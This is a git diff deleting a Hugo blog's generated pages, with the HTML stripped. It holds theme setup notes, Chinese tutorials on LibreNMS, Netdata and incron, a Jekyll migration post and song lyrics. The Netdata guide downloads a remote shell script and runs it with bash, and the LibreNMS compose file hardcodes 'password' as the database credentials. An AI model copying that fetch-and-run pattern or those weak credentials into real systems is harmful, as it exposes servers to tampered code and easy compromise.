    In the next step navigate to the exampleSite folder at themes/hugo-travelify-theme/exampleSite/. Its structure should look similar to this:

    - -
    exampleSite
    -|   config.toml
    -+---content
    -|   |   about.md
    -|   |   contact.md
    -|   \---post
    -|           creating-a-new-theme.md
    -|           go-is-for-lovers.md
    -|           hugo-is-for-lovers.md
    -|           linked-post.md
    -|           migrate-from-jekyll.md
    -|           this-post-has-no-body.md
    -+---data
    -|       l10n.toml
    -\---static
    -    |   new-york-featured.jpg
    -    \---banners
    -            7148951717_9bbf185db3_h-1018x460.jpg
    -            featured-4.jpg
    -            featured-5.jpg
    -            new-york-featured.jpg
    -            placeholder.png
    -            Spain-Plaza-de-Cibeles-Madrid-1018x460.jpg
    -            Spain-Plaza-de-Cibeles-Madrid-670x300.jpg
    -            spain6-1018x460.jpg
    -
    - -

    In order to get your site running, you need to copy config.toml and data/l10n.toml into the root folders.

    - -

    The config file

    - -

    Now, let us take a look into the config.toml. Feel free to play around with the settings.

    - -

    Automatic Slider

    - -

    The slider can be switched on and off at will and you can customize the number of banner images you want on the carousel using the parameters in the config.

    - -
    [params.slider]
    -enable = true
    -num_features = 4 # The slider picks up the banner images from the N most recent posts, where num_features is N.
    -
    - -

    Tip - For best results in the slider, use 1018x460 resolution for the banner images

    - -

    Google Analytics

    - -
    GoogleAnalytics = ""
    -
    - -

    Comments

    - -

    The optional comment system is powered by Disqus. Enter your shortname to enable the comment section under your posts.

    - -
    disqusShortname = ""
    -
    - -

    Tip: you can disable the comment section for a single page in its frontmatter:

    - -
    +++
    -disable_comments = true
    -+++
    -
    - - - -

    You can also define the items menu entries as you like. First, let us link a post that you’ve written. We can do this in the frontmatter of the post’s content file by setting menu to main.

    - -
    +++
    -menu = "main"
    -+++
    -
    - -

    Furthermore, we can add entries that don’t link to posts. Back in the config.toml you’ll find a section for the menus:

    - -
    [[menu.main]]
    -    name  = "Contact"
    -    url   = "/contact/"
    -    weight = 20
    -
    - -

    Define a label and enter the URL to resource you want to link. With before you can decide whether the link should appear before or after all linked posts in the menu. Therefore, Home appears before the linked post.

    - - - -

    In order to use the full width of the website you can disable the profile on the left and / or the widgets on the right for a single page in the frontmatter:

    - -
    +++
    -disable_profile = true
    -disable_widgets = true
    -+++
    -
    - -

    Tell me who you are

    - -

    This theme also provides a profile section on the left. Add your social network accounts to the profile section on the left by entering your username under social. The links to your account will be create automatically.

    - -

    Widgets

    - -

    Beside the profile section you can add widgets on the right sidebar. The following widgets are available:

    - -
      -
    • recent articles
    • -
    • Subscribe via email (Mailchimp integration - Use the method prescribed in http://kb.mailchimp.com/lists/signup-forms/add-a-signup-form-to-your-website and copy the text from form=//username/mailchimp/path/and copy this path to the mailchimpform variable under [params.widget] in your config.toml)
    • -
    • Multiple author support
    • -
    • category list
    • -
    • tag list
    • -
    • tag cloud
    • -
    • Duckduckgo search enabled on your website
    • -
    - -

    You can deactivate them under params.widgets:

    - -
    # Enable and disable widgets for the right sidebar
    -[params.widgets]
    -    recent_articles = true
    -    categories = true
    -    tags = true
    -    tag_cloud = true
    -    archives = false # This feature is yet to be implemented because of limitations in Hugo's way of working.
    -    search = true
    -    author = true
    -    mailchimp = true
    -    mailchimpform = "//mailchimp/url/goes/here"
    -
    - -

    Date line

    - -

    The date line includes: post date, categories, comments and sharing links. However, if you want certain pages to omit the date line, simply put nodateline = true in the front matter for that page.

    - -

    Disable Previous / next article links and remove tags

    - -

    To disable the inclusion of a previous/next article link at the bottom of the page, add noprevnext = true to the front matter. Along with this feature, along with nodateline = true can be used to create standalone pages that are less “blog-like”.

    - -

    Localization (l10n)

    - -

    You don’t blog in English and you want to translate the theme into your native locale? No problem. Take a look in the data folder and you’ll find a file l10n.toml that we’ve copied at the beginning. It contains all strings related to the theme. Just replace the original strings with your own.

    - -

    Linking thumbnails

    - -

    After creating a new post you can define a banner by entering the relative path to the image.

    - -
    banner = "banners/placeholder.png"
    -
    - -

    This way you can store them either next to the content file or in the static folder.

    - -

    Tip - For best results in the slider, use 1018x460 resolution for the banner images

    - -

    Nearly finished

    - -

    In order to see your site in action, run Hugo’s built-in local server.

    - -
    $ hugo server
    -
    - -

    Now enter localhost:1313 in the address bar of your browser.

    - -

    Contributing

    - -

    Have you found a bug or got an idea for a new feature? Feel free to use the issue tracker to let me know. Or make directly a pull request.

    - -

    License

    - -

    This theme is released under the MIT license. For more information read the license.

    - -

    Acknowledgements

    - -

    Thanks to

    - - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/index.html b/themes/public/article/index.html deleted file mode 100644 index 5de4acef..00000000 --- a/themes/public/article/index.html +++ /dev/null @@ -1,394 +0,0 @@ - - - - - - - - - - Articles | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/index.xml b/themes/public/article/index.xml deleted file mode 100644 index f9c7755a..00000000 --- a/themes/public/article/index.xml +++ /dev/null @@ -1,23 +0,0 @@ - - - - Articles on My cool new Blog - https://h.cowbay.org/article/ - Recent content in Articles on My cool new Blog - Hugo -- gohugo.io - Wed, 31 Oct 2018 00:00:00 +0000 - - - - - - 筆記 HUGO 主題 Lednerb/bilberry-hugo-theme - https://h.cowbay.org/article/hugo-theme-bliberry/ - Wed, 31 Oct 2018 00:00:00 +0000 - - https://h.cowbay.org/article/hugo-theme-bliberry/ - test 1 - - - - \ No newline at end of file diff --git a/themes/public/article/librenms-in-a-docker/index.html b/themes/public/article/librenms-in-a-docker/index.html deleted file mode 100644 index 59310990..00000000 --- a/themes/public/article/librenms-in-a-docker/index.html +++ /dev/null @@ -1,484 +0,0 @@ - - - - - - - - - - 筆記- ubuntu 18.04 系統狀態監控工具 librenms | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    筆記- ubuntu 18.04 系統狀態監控工具 librenms

    -
    - - - 0001-01-01 - - - - - - - - -
    - - - - -

    LibreNMS

    - -

    LibreNMS 官方網站

    - -

    過去用過許多不同類型的伺服器狀態監測的系統,NAGIOS/NMS/MRTG/PRTG/CACTI/Smokeping -不得不說,前面幾種的界面設計很明顯已經「過時」,只有Smokeping 勉強算得上 「fancy」 -現在的系統,已經不只是功能要能符合需求,UI/Report也要能夠「入眼」,才是個真正好的系統!

    - -

    最近正好因為現在公司之前建立好的NMS發生一些問題,也跟主管討論怎樣改善這種狀況 -<!– more –!>

    - -

    上網找了一些 opensource 的系統,很多都還是那種比較「老派」的界面設計! -拜託!工程師也是人好嗎?時代在改變,「審美觀」自然也會跟著改變 -15年前也許我會覺得 cacti 超炫! 15年後再看cacti我只能說超遜!

    - -

    直到我看到 LibreNMS ! -設定簡單、畫面簡潔美觀,而且有docker file 可以直接執行!真的是太美好了!

    - -

    二話不說,馬上下載docker-compose版本回來測試 -setiseta/docker-librenms on github

    - -

    下載回來之後,簡單修改一下docker-compose.yml 就可以跑了,docker就是這麼方便啊! -我的docker-compose.yml如下 -基本上我只修改了 PASSWORD 和 timezone 還有要開的port而已 -不過不知為何,改這邊的timezone似乎沒有作用,這個還要再研究

    - -
    version: '3'
    -
    -services:
    -  mysql:
    -    image: mariadb
    -    container_name: librenms-db
    -    volumes:
    -      - ./mysql:/var/lib/mysql
    -      - ./50-server.cnf:/etc/mysql/mariadb.conf.d/50-server.cnf:ro
    -    environment:
    -      - MYSQL_ROOT_PASSWORD=password
    -      - MYSQL_DATABASE=librenms
    -    restart: always
    -
    -  librenms:
    -    build: .
    -    image: seti/librenms
    -    container_name: librenms
    -    hostname: librenms
    -    volumes:
    -      - ./data:/data
    -      - /etc/timezone:/etc/timzone:ro
    -      - /etc/localtime:/etc/localtime:ro
    -    ports:
    -      - 8002:80
    -      - 514:514/tcp
    -      - 514:514/udp
    -    depends_on:
    -      - mysql
    -    environment:
    -      - DB_TYPE=mysql
    -      - DB_HOST=mysql
    -      - DB_NAME=librenms
    -      - DB_USER=root
    -      - DB_PASS=password
    -      - TZ="Asia/Taipei"
    -      - POLLER=24
    -      - SERVICES_ENABLED=1
    -      - UPDATE_CHANNEL=master
    -
    - -

    改完之後,直接執行 docker-compose up -d -可能這個系統比較大一點,啟動要跑比較多東西,所以要跑一下子 -可以用docker ps -a / docker logs librenms 檢查狀態
    -不然就放個十分鐘,總是可以跑起來的 XD -登入之後,先測試加入一些已經開放SNMP的設備,可以很順利的抓到 -再放個半小時一小時的,就可以看到圖表上開始出現數據了 -Mail Server 運行狀況

    - -

    LibreNMS 圖表

    - -

    再來這個是我覺得很有用的網路連接狀況 -甚至會把帶哪個VLAN去哪個裝置都列出來 -非常的方便! -網路連接狀況

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/linked-post/index.html b/themes/public/article/linked-post/index.html deleted file mode 100644 index f449abff..00000000 --- a/themes/public/article/linked-post/index.html +++ /dev/null @@ -1,421 +0,0 @@ - - - - - - - - - - Linked post | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Linked post

    -
    - - - 2015-10-02 - - - - - - - - - programming - - - - - -
    - - -

    I’m a linked post in the menu. You can add other posts by adding the following line to the frontmatter:

    - -
    menu = "main"
    -
    - -

    Lorem ipsum dolor sit amet, consectetur adipiscing elit. In mauris nulla, vestibulum vel auctor sed, posuere eu lorem. Aliquam consequat augue ut accumsan mollis. Suspendisse malesuada sodales tincidunt. Vivamus sed erat ac augue bibendum porta sed id ipsum. Ut mollis mauris eget ligula sagittis cursus. Aliquam id pharetra tellus. Pellentesque sed tempus risus. Proin id hendrerit ante. Vestibulum vitae urna ut mauris ultricies dignissim. Ut ante turpis, tristique vitae sagittis quis, sagittis nec diam. Fusce pulvinar cursus porta. Vivamus maximus leo dolor, ut pellentesque lorem fringilla nec. Mauris faucibus turpis posuere sapien euismod, a ullamcorper mi maximus.

    - -

    Morbi varius ex vel justo dictum placerat. Sed ac arcu pretium, varius elit eget, gravida purus. Fusce sit amet massa mollis eros tincidunt sollicitudin. Suspendisse iaculis cursus mauris ut sagittis. Interdum et malesuada fames ac ante ipsum primis in faucibus. Maecenas elit ligula, molestie quis magna eu, semper posuere lorem. Mauris a justo pharetra, congue ex eget, tincidunt massa. Maecenas sit amet neque lorem.

    - -

    Curabitur at elementum quam. Curabitur tristique elit non sapien aliquam vulputate. Vivamus in odio tincidunt, tempor sem quis, tincidunt lacus. Mauris pulvinar nunc sed tempus dictum. Nam vel arcu quis mi fermentum ullamcorper non ac lacus. Donec aliquet vitae ante at imperdiet. Aenean scelerisque venenatis urna, eget elementum risus convallis ac. Nullam gravida arcu lacus, non consectetur augue pretium non. Duis dignissim eros id urna pretium congue. Nullam eu magna in sem sollicitudin tempor. Pellentesque vel convallis ligula. Quisque semper, turpis a rhoncus efficitur, magna nibh iaculis elit, eget tempor dolor eros ut mi. Maecenas eu placerat lacus. Praesent congue pretium nulla, sed suscipit metus rutrum vel.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/linux-performance-monitor-dashboard-netdata-md/index.html b/themes/public/article/linux-performance-monitor-dashboard-netdata-md/index.html deleted file mode 100644 index e8841395..00000000 --- a/themes/public/article/linux-performance-monitor-dashboard-netdata-md/index.html +++ /dev/null @@ -1,508 +0,0 @@ - - - - - - - - - - Linux 底下極其詳細的System performace Monitor Dashboard - Netdata | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Linux 底下極其詳細的System performace Monitor Dashboard - Netdata

    -
    - - - 2018-05-28 - - - - - - - - -
    - - - - -
    參考
    - -

    https://www.digitalocean.com/community/tutorials/how-to-set-up-real-time-performance-monitoring-with-netdata-on-ubuntu-16-04

    - -
    安裝
    - -

    最後一個要注意,要安裝 netdata-all 才會安裝有DB的plugin (網路上都這樣說..)

    - -
    curl -Ss 'https://raw.githubusercontent.com/firehol/netdata-demo-site/master/install-required-packages.sh' >/tmp/kickstart.sh && bash /tmp/kickstart.sh -i netdata-all
    -
    - -

    然後作 git clone

    - -
    git clone https://github.com/firehol/netdata.git --depth=1 ~/netdata
    -
    - -

    接著就執行netdata提供的安裝script

    - -
    sudo ./netdata-installer.sh
    -
    - -

    如果有少套件,就看缺什麼套件,裝上去就好了,或者一開始就先裝套件

    - -
    sudo apt-get install zlib1g-dev uuid-dev libmnl-dev gcc make autoconf autoconf-archive autogen automake pkg-config curl
    -
    - -

    安裝完成後,預設會在 localhost:19999 運作 ,還頗炫的

    - -

    - -
    每天自動更新
    - -
    sudo ln -s /home/minion/netdata/netdata-updater.sh /etc/cron.daily/netdata-updater.sh
    -
    - -
    啟用 python.d plugin 目錄
    - -
    sudo vim /etc/netdata/netdata.conf
    -
    - -

    找到 plugin ,取消 python.d 前面的 “#”

    - -
     [plugins]
    -     # PATH environment variable = /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
    -     # PYTHONPATH environment variable = 
    -     # proc = yes
    -     diskspace = yes
    -     # cgroups = yes
    -     # tc = yes
    -     # idlejitter = yes
    -     enable running new plugins = yes
    -     check for new plugins every = 60
    -     # fping = yes
    -     # charts.d = yes
    -     python.d = yes                                                                                                                                            
    -     # node.d = yes
    -     # apps = yes
    -
    - -

    有很多東西可以設定,超細的…

    - -
    修改 postgres.conf 的DB 設定
    - -
    sudo vim /etc/netdata/python.d/postgres.conf
    -
    - -

    把不要的都註解掉,然後填入資料庫的設定 -https://i.imgur.com/VQwlary.png

    - -

    測試一下看能不能跑

    - -
    sudo /usr/libexec/netdata/plugins.d/python.d.plugin debug 1 postgres
    -
    - -

    正常的話,應該會看到一些這樣的訊息 -https://i.imgur.com/YMZtvdo.png

    - -

    離開

    - -

    重啟 netdata service,看看多到讓人眼花撩亂的圖表吧!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/linux-tool-icron-brief/index.html b/themes/public/article/linux-tool-icron-brief/index.html deleted file mode 100644 index a57b6f01..00000000 --- a/themes/public/article/linux-tool-icron-brief/index.html +++ /dev/null @@ -1,441 +0,0 @@ - - - - - - - - - - 筆記-incron 簡介 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    筆記-incron 簡介

    -
    - - - 2017-07-24 - - - - - - - - -
    - - - - -

    incron 簡單介紹

    - -

    incron 是一個Linux 上的小工具,可以用來監控特定目錄,當目錄內容發生變化時,可以執行自訂的script

    - -

    可以監控的動作如下

    - -

    incron可監控的動作

    - -

    語法範例

    - -

    incrontab -e (編輯)

    - -

    語法 source_folder/mask(可以用多個不同動作,中間用 , 隔開)/要執行的script

    - -

    -/usr/share/nginx/html/hexoblog/source/_posts/ IN_MODIFY,IN_CREATE,IN_DELETE,IN_MOVE /scripts/run.sh -

    - -

    這行指令是說當 /usr/share/nginx/html/hexoblog/source/_posts/ 這個目錄產生變化(修改、新增、刪除、搬移)時,執行 /scripts/run.sh ,當然指令內容就看要怎麼應用。 在 /var/log/cron 裡面可以看到有沒有乖乖聽話在執行 ->Jul 12 04:28:17 3cx1 incrond[11814]: (root) CMD (/scripts/run.sh)
    ->Jul 12 04:28:21 3cx1 incrond[11814]: (root) CMD (/scripts/run.sh)
    ->Jul 12 04:28:21 3cx1 incrond[11814]: (root) CMD (/scripts/run.sh)

    - -

    有點像是之前玩過的 lsyncd / inotify 的工具

    - -

    目前是拿來作為自動偵測並發布Hexo Blog的「手段」,先透過win-sshfs之類的工具,mount 伺服器上的 Hexo Blog 的source/_posts目錄,然後在本地端的筆電上用Markdown editor編輯文章後,直接存在這個掛進來的目錄,然後透過 incron去自動執行hexo generate的指令,還滿方便的!

    - -
    IN_ACCESS           File was accessed (read) (*)
    -IN_ATTRIB           Metadata changed (permissions, timestamps, extended attributes, etc.) (*)
    -IN_CLOSE_WRITE      File opened for writing was closed (*)
    -IN_CLOSE_NOWRITE    File not opened for writing was closed (*)  
    -IN_CREATE           File/directory created in watched directory (*)
    -IN_DELETE           File/directory deleted from watched directory (*)
    -IN_DELETE_SELF      Watched file/directory was itself deleted
    -IN_MODIFY           File was modified (*)
    -IN_MOVE_SELF        Watched file/directory was itself moved
    -IN_MOVED_FROM       File moved out of watched directory (*)
    -IN_MOVED_TO         File moved into watched directory (*)
    -IN_OPEN             File was opened (*)
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/luna-e5-be-88-e4-b9-85-2009-e4-bb-a5-e5-89-8d-e7-8e-a9luna-e9-87-a3-e9-ad-9a-e6-b4-bb-e5-8b-95-e6-8a-bd-e5-88-b0-e9-bb-83-e9-87-91999/index.html b/themes/public/article/luna-e5-be-88-e4-b9-85-2009-e4-bb-a5-e5-89-8d-e7-8e-a9luna-e9-87-a3-e9-ad-9a-e6-b4-bb-e5-8b-95-e6-8a-bd-e5-88-b0-e9-bb-83-e9-87-91999/index.html deleted file mode 100644 index 86851916..00000000 --- a/themes/public/article/luna-e5-be-88-e4-b9-85-2009-e4-bb-a5-e5-89-8d-e7-8e-a9luna-e9-87-a3-e9-ad-9a-e6-b4-bb-e5-8b-95-e6-8a-bd-e5-88-b0-e9-bb-83-e9-87-91999/index.html +++ /dev/null @@ -1,401 +0,0 @@ - - - - - - - - - - [LUNA]很久 (2009) 以前玩LUNA釣魚活動抽到黃金999 .. | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/migrate-from-jekyll/index.html b/themes/public/article/migrate-from-jekyll/index.html deleted file mode 100644 index 609b13bb..00000000 --- a/themes/public/article/migrate-from-jekyll/index.html +++ /dev/null @@ -1,573 +0,0 @@ - - - - - - - - - - Migrate from Jekyll | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    Migrate from Jekyll

    -
    - - - 2015-10-10 - - - - - - - - - lorem - - - - - -
    - - - - -

    Move static content to static

    - -

    Jekyll has a rule that any directory not starting with _ will be copied as-is to the _site output. Hugo keeps all static content under static. You should therefore move it all there. -With Jekyll, something that looked like

    - -
    ▾ <root>/
    -    ▾ images/
    -        logo.png
    -
    - -

    should become

    - -
    ▾ <root>/
    -    ▾ static/
    -        ▾ images/
    -            logo.png
    -
    - -

    Additionally, you’ll want any files that should reside at the root (such as CNAME) to be moved to static.

    - -

    Create your Hugo configuration file

    - -

    Hugo can read your configuration as JSON, YAML or TOML. Hugo supports parameters custom configuration too. Refer to the Hugo configuration documentation for details.

    - -

    Set your configuration publish folder to _site

    - -

    The default is for Jekyll to publish to _site and for Hugo to publish to public. If, like me, you have _site mapped to a git submodule on the gh-pages branch, you’ll want to do one of two alternatives:

    - -
      -
    1. Change your submodule to point to map gh-pages to public instead of _site (recommended).

      - -
      git submodule deinit _site
      -git rm _site
      -git submodule add -b gh-pages git@github.com:your-username/your-repo.git public
      -
    2. - -
    3. Or, change the Hugo configuration to use _site instead of public.

      - -
      {
      -    ..
      -    "publishdir": "_site",
      -    ..
      -}
      -
    4. -
    - -

    Convert Jekyll templates to Hugo templates

    - -

    That’s the bulk of the work right here. The documentation is your friend. You should refer to Jekyll’s template documentation if you need to refresh your memory on how you built your blog and Hugo’s template to learn Hugo’s way.

    - -

    As a single reference data point, converting my templates for heyitsalex.net took me no more than a few hours.

    - -

    Convert Jekyll plugins to Hugo shortcodes

    - -

    Jekyll has plugins; Hugo has shortcodes. It’s fairly trivial to do a port.

    - -

    Implementation

    - -

    As an example, I was using a custom image_tag plugin to generate figures with caption when running Jekyll. As I read about shortcodes, I found Hugo had a nice built-in shortcode that does exactly the same thing.

    - -

    Jekyll’s plugin:

    - -
    module Jekyll
    -  class ImageTag < Liquid::Tag
    -    @url = nil
    -    @caption = nil
    -    @class = nil
    -    @link = nil
    -    // Patterns
    -    IMAGE_URL_WITH_CLASS_AND_CAPTION =
    -    IMAGE_URL_WITH_CLASS_AND_CAPTION_AND_LINK = /(\w+)(\s+)((https?:\/\/|\/)(\S+))(\s+)"(.*?)"(\s+)->((https?:\/\/|\/)(\S+))(\s*)/i
    -    IMAGE_URL_WITH_CAPTION = /((https?:\/\/|\/)(\S+))(\s+)"(.*?)"/i
    -    IMAGE_URL_WITH_CLASS = /(\w+)(\s+)((https?:\/\/|\/)(\S+))/i
    -    IMAGE_URL = /((https?:\/\/|\/)(\S+))/i
    -    def initialize(tag_name, markup, tokens)
    -      super
    -      if markup =~ IMAGE_URL_WITH_CLASS_AND_CAPTION_AND_LINK
    -        @class   = $1
    -        @url     = $3
    -        @caption = $7
    -        @link = $9
    -      elsif markup =~ IMAGE_URL_WITH_CLASS_AND_CAPTION
    -        @class   = $1
    -        @url     = $3
    -        @caption = $7
    -      elsif markup =~ IMAGE_URL_WITH_CAPTION
    -        @url     = $1
    -        @caption = $5
    -      elsif markup =~ IMAGE_URL_WITH_CLASS
    -        @class = $1
    -        @url   = $3
    -      elsif markup =~ IMAGE_URL
    -        @url = $1
    -      end
    -    end
    -    def render(context)
    -      if @class
    -        source = "<figure class='#{@class}'>"
    -      else
    -        source = "<figure>"
    -      end
    -      if @link
    -        source += "<a href=\"#{@link}\">"
    -      end
    -      source += "<img src=\"#{@url}\">"
    -      if @link
    -        source += "</a>"
    -      end
    -      source += "<figcaption>#{@caption}</figcaption>" if @caption
    -      source += "</figure>"
    -      source
    -    end
    -  end
    -end
    -Liquid::Template.register_tag('image', Jekyll::ImageTag)
    -
    - -

    is written as this Hugo shortcode:

    - -
    <!-- image -->
    -<figure {{ with .Get "class" }}class="{{.}}"{{ end }}>
    -    {{ with .Get "link"}}<a href="{{.}}">{{ end }}
    -        <img src="{{ .Get "src" }}" {{ if or (.Get "alt") (.Get "caption") }}alt="{{ with .Get "alt"}}{{.}}{{else}}{{ .Get "caption" }}{{ end }}"{{ end }} />
    -    {{ if .Get "link"}}</a>{{ end }}
    -    {{ if or (or (.Get "title") (.Get "caption")) (.Get "attr")}}
    -    <figcaption>{{ if isset .Params "title" }}
    -        {{ .Get "title" }}{{ end }}
    -        {{ if or (.Get "caption") (.Get "attr")}}<p>
    -        {{ .Get "caption" }}
    -        {{ with .Get "attrlink"}}<a href="{{.}}"> {{ end }}
    -            {{ .Get "attr" }}
    -        {{ if .Get "attrlink"}}</a> {{ end }}
    -        </p> {{ end }}
    -    </figcaption>
    -    {{ end }}
    -</figure>
    -<!-- image -->
    -
    - -

    Usage

    - -

    I simply changed:

    - -
    {% image full http://farm5.staticflickr.com/4136/4829260124_57712e570a_o_d.jpg "One of my favorite touristy-type photos. I secretly waited for the good light while we were "having fun" and took this. Only regret: a stupid pole in the top-left corner of the frame I had to clumsily get rid of at post-processing." ->http://www.flickr.com/photos/alexnormand/4829260124/in/set-72157624547713078/ %}
    -
    - -

    to this (this example uses a slightly extended version named fig, different than the built-in figure):

    - -
    {{% fig class="full" src="http://farm5.staticflickr.com/4136/4829260124_57712e570a_o_d.jpg" title="One of my favorite touristy-type photos. I secretly waited for the good light while we were having fun and took this. Only regret: a stupid pole in the top-left corner of the frame I had to clumsily get rid of at post-processing." link="http://www.flickr.com/photos/alexnormand/4829260124/in/set-72157624547713078/" %}}
    -
    - -

    As a bonus, the shortcode named parameters are, arguably, more readable.

    - -

    Finishing touches

    - -

    Fix content

    - -

    Depending on the amount of customization that was done with each post with Jekyll, this step will require more or less effort. There are no hard and fast rules here except that hugo server --watch is your friend. Test your changes and fix errors as needed.

    - -

    Clean up

    - -

    You’ll want to remove the Jekyll configuration at this point. If you have anything else that isn’t used, delete it.

    - -

    A practical example in a diff

    - -

    Hey, it’s Alex was migrated in less than a father-with-kids day from Jekyll to Hugo. You can see all the changes (and screw-ups) by looking at this diff.

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/mis-job-kinlix/index.html b/themes/public/article/mis-job-kinlix/index.html deleted file mode 100644 index 511e0b47..00000000 --- a/themes/public/article/mis-job-kinlix/index.html +++ /dev/null @@ -1,402 +0,0 @@ - - - - - - - - - - 雜念-好棒棒的MIS徵才條件啊-鈞立科技 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/mv-e6-96-b0-e5-9e-a3-e7-b5-90-e8-a1-a3-e8-8a-b1-e6-b0-b4-e6-9c-a8-e4-b8-ad-e6-96-87-e5-ad-97-e5-b9-95/index.html b/themes/public/article/mv-e6-96-b0-e5-9e-a3-e7-b5-90-e8-a1-a3-e8-8a-b1-e6-b0-b4-e6-9c-a8-e4-b8-ad-e6-96-87-e5-ad-97-e5-b9-95/index.html deleted file mode 100644 index 10f23d17..00000000 --- a/themes/public/article/mv-e6-96-b0-e5-9e-a3-e7-b5-90-e8-a1-a3-e8-8a-b1-e6-b0-b4-e6-9c-a8-e4-b8-ad-e6-96-87-e5-ad-97-e5-b9-95/index.html +++ /dev/null @@ -1,520 +0,0 @@ - - - - - - - - - - [MV] 新垣結衣 - 花水木(中文字幕) | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [MV] 新垣結衣 - 花水木(中文字幕)

    -
    - - - 2013-10-09 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    我想,也差不多該是時候給予祝福了….Big Boss

    - -

    https://www.youtube.com/watch?v=3yx17LiG_m0

    - -

     

    - -

    歌詞

    - -

     

    - -

    歌詞

    - -

    ハナミズキ(花水木) -作詞:一青窈 作曲:マシコタツロ

    - -

    空を押し上げて -手を伸ばす君 五月のこと -どうか来てほしい -水際まで来てほしい -つぼみをあげよう -庭のハナミズキ

    - -

    薄紅色の可愛い君のね -果てない夢がちゃんと終わりますように -君と好きな人が百年続きますように

    - -

    夏は暑過ぎて -僕から気持ちは重すぎて -一緒に渡るには -きっと船が沈んじゃう -どうぞゆきなさい -お先にゆきなさい

    - -

    僕の我慢がいつか実を結び -果てない波がちゃんと止まりますように -君と好きな人が百年続きますように

    - -

    ひらり蝶々を -追いかけて白い帆を揚げて -母の日になれば -ミズキの葉、贈って下さい -待たなくてもいいよ -知らなくてもいいよ

    - -

    薄紅色の可愛い君のね -果てない夢がちゃんと終わりますように -君と好きな人が百年続きますように

    - -

    僕の我慢がいつか実を結び -果てない波がちゃんと止まりますように -君と好きな人が百年続きますように

    - -

    君と好きな人が百年続きますように。

    - -
    - -

    (羅馬拼音) -HA NA MI ZU KI

    - -

    so ra o o si a ge te -te o no ba su ki mi ko ga tzu no ko to -do~u ka hi te ho si i -mi tzu ki wa ma de ki te ho si i -tzu bo mi o a ge yo u -mi wa no ha na mi zu ki

    - -

    wo su be ni i no ka wa i i ki mi no ne -ha te na i yu me ga cha n to o wa ri ma su yo u ni

    - -

    ki mi to su ki na hi to ga hya ku ne n shu shu ki ma su yo u ni

    - -

    na tzu wa a tzu su gi te -mo ku ka ra ki mo chi wa o mo su gi te -i syo ni wa ta ru ne wa -ki to fu me ga si tzu n jia u -do u zo yu ki na sa i -o sa ki ni yu ki na sa i

    - -

    bo ku no ga ma ga i tzu ka mi o wu su bi -ha te na i na mi ga cha n to do ma ri ma su yo u ni -ki mi to su ki na hi to ga hya ku ne~n shu shu ki ma su yo u ni

    - -

